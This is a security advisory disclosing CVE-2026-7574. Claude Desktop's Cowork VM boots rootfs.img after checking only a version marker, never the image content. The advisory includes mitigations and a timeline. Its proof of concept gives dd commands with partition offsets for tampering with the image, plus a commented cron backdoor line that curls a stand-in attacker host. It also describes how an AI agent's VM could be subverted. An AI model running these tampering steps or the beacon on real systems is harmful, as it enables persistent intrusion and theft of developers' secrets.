CVE-2026-7574: Anthropic Claude Desktop Cowork VM Image Contents Not Validated Before Use#

This disclosure documents a local image tampering vulnerability in Anthropic Claude Desktop’s Cowork virtual machine lifecycle.

AHA! has discovered an issue with Claude Desktop from Anthropic and is publishing this disclosure in accordance with AHA!’s standard disclosure policy today, on 2026-06-23. CVE-2026-7574 has been assigned to this issue.

This vulnerability is estimated to have a CVSSv3.1 rating of AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L (8.7, High), and the relevant SSVC vectors are Exploitation: PoC and Technical Impact: Total.

Any questions about this disclosure should be directed to [email protected].

Executive Summary#

Anthropic Claude Desktop Cowork VM image handling (confirmed across v1.1348.0 through v1.2278.0, including v1.1348.0, v1.1617.0, and v1.2278.0) validates only file presence and a version marker string before booting rootfs.img, but does not verify image content integrity at time-of-use. A local attacker with unprivileged code execution as the victim macOS user can modify the VM root filesystem image and have it trusted on subsequent Cowork VM boots, enabling persistent arbitrary code execution in the VM and access to host-mounted directories. The estimated CWE mapping is CWE-353 (Missing Support for Integrity Check).

Technical Details#

The Cowork VM readiness check effectively validates:

  1. rootfs.img exists.
  2. .rootfs.img.origin exists.
  3. .rootfs.img.origin matches the expected hardcoded SHA string.

It does not compute or compare a cryptographic digest of the actual on-disk rootfs.img before launch.

In affected builds, this logic is in the Cowork VM lifecycle path in index.js (including functions such as oAn() and AZt()).

The image is stored at:

~/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img

In observed versions, integrity checking was performed only when downloading the compressed image stream. After decompression and storage, future boots depended on the origin marker check, not content verification.

The download-time check compares SHA256 for the compressed .zst stream. The .rootfs.img.origin file stores a version Git commit SHA string, not a content hash of rootfs.img.

Because these files are writable by the local user, no privilege escalation to root is required for tampering.

Representative exploitation sequence#

  1. Modify rootfs.img offline. The image is GPT with an ext4 partition beginning at byte offset 105,906,176.
  2. Inject a payload (for example service modification, daemon replacement, cron, CA trust insertion, or package-level backdoor).
  3. Leave .rootfs.img.origin unchanged.
  4. Wait for Cowork VM startup.
  5. The startup checks pass and the tampered image boots.

Proof-of-concept#

# Local unprivileged user context
IMG="$HOME/Library/Application Support/Claude/vm_bundles/claudevm.bundle/rootfs.img"

# Confirm image type
file "$IMG"

# Extract ext4 partition from GPT image (example offsets from testing)
dd if="$IMG" of=/tmp/rootfs.ext4 bs=512 skip=206848 count=20764639

# Mount and modify in Linux environment
# mount -o loop /tmp/rootfs.ext4 /mnt
# echo '#!/bin/bash\ncurl https://attacker.com/beacon' > /mnt/etc/cron.d/backdoor
# umount /mnt

# Reinsert modified partition
dd if=/tmp/rootfs.ext4 of="$IMG" bs=512 seek=206848 conv=notrunc

Observed impact#

  1. Confidentiality loss via in-VM access to mounted host directories and in-session secrets.
  2. Integrity loss via persistent VM-side code execution affecting user workflows.
  3. Persistence across restarts until image replacement by a future application update.
  4. Runtime access available to attacker code can include read-write VirtioFS mounts, the vsock RPC channel, and approved OAuth token flows via addApprovedOauthToken.
  5. User-visible stealth remains high because startup can proceed with normal readiness logging (for example, All files ready in <path>).

Verification notes#

Testing on 2026-04-13 (Claude Desktop v1.1617.0, macOS ARM64) showed the VM booted normally after image modification with no re-download or integrity error. Additional repack testing with an injected /etc/poc-canary.txt file confirmed that arbitrary filesystem modifications persisted through boot and were accessible from the Cowork session. Additional demonstrations showed the creation of a new systemd service to allow root-user access to the running VM.

  1. Compute and verify a SHA256 hash of rootfs.img before every boot, and compare it to an expected value (for example in .rootfs.img.origin or a separate file) before passing the image to Virtualization.framework.
  2. Add in-VM integrity enforcement with dm-verity or fs-verity.
  3. Make the rootfs read-only at the Virtualization.framework layer and use an overlay for writes.
  4. Use signed VM images and verify the signature before boot.
  5. Store the image in a macOS-protected location where unprivileged users cannot modify it.

Attacker Value#

This issue is valuable to both criminal and espionage operators because a one-time local foothold can be converted into stealthy, persistent execution in a trusted developer-facing VM environment. A realistic scenario is a supply-chain implant that edits the Cowork image, then waits for normal user activity to trigger execution inside the VM and quietly exfiltrate source code, tokens, or sensitive workspace data through permitted network paths.

Credit#

This issue is being disclosed through the AHA! CNA and is credited to Todd Manning.

Timeline#

  • 2026-04-30 (Thu): Initial findings presented at AHA! meeting.
  • 2026-05-03 (Sun): Disclosed to the vendor (no response).
  • 2026-06-21 (Sun): Publicly disclosed at Recon 2026 talk, Trusting the Wrong Bits.
  • 2026-06-23 (Tue): Public advisory release for CVE-2026-7574.